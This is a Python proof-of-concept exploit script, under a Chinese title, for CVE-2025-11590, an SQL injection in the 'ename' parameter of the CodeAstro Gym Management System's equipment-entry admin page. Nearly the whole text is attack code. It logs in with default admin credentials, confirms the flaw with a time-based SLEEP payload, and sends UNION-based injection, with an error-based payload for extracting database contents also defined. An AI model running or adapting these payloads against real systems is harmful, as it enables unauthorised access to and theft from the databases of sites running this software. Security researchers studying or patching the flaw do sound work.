CVE-2025-11590：CodeAstro健身房管理系统SQL注入漏洞

# CVE-2025-11590 - CodeAstro Gym Management System SQL Injection PoC # Vulnerability: SQL Injection in /admin/equipment-entry.php via 'ename' parameter # CVSS: 6.3 (MEDIUM) import requests import sys # Target configuration TARGET_URL = "http://target.com" ADMIN_PATH = "/admin/equipment-entry.php" USERNAME = "admin" PASSWORD = "admin123" # Create a session to maintain cookies session = requests.Session() def login(base_url, username, password): """Login to admin panel to obtain low-privilege access""" login_url = f"{base_url}/admin/" # Attempt login with default or known credentials data = { "username": username, "password": password } response = session.post(login_url, data=data, allow_redirects=True) return response def exploit_sql_injection(base_url): """Exploit SQL injection in ename parameter""" target_url = f"{base_url}{ADMIN_PATH}" # SQL Injection payload - UNION based injection to extract database info # Adjust column count based on the original query payload = "Test' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" # Alternative time-based blind injection payload time_based_payload = "Test' AND SLEEP(5)-- -" # Alternative error-based payload error_based_payload = "Test' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a)-- -" data = { "ename": payload, # Add other required form fields "submit": "" } response = session.post(target_url, data=data) if response.status_code == 200: print(f"[+] Response length: {len(response.text)}") # Check for SQL error messages or data leakage if "error" in response.text.lower() or "sql" in response.text.lower(): print("[+] Possible SQL injection detected!") print(response.text[:500]) return response def check_vulnerability(base_url): """Quick vulnerability check using time-based blind injection""" target_url = f"{base_url}{ADMIN_PATH}" # Normal request timing import time start = time.time() normal_data = {"ename": "test_equipment", "submit": ""} session.post(target_url, data=normal_data) normal_time = time.time() - start # Time-based injection request start = time.time() inject_data = {"ename": "test' AND SLEEP(3)-- -", "submit": ""} session.post(target_url, data=inject_data) inject_time = time.time() - start if inject_time - normal_time > 2: print(f"[+] Vulnerability confirmed! Time difference: {inject_time - normal_time:.2f}s") return True else: print("[-] Target may not be vulnerable") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Target: {TARGET_URL}") print("[*] Logging in...") login(TARGET_URL, USERNAME, PASSWORD) print("[*] Checking vulnerability...") if check_vulnerability(TARGET_URL): print("[*] Exploiting...") exploit_sql_injection(TARGET_URL)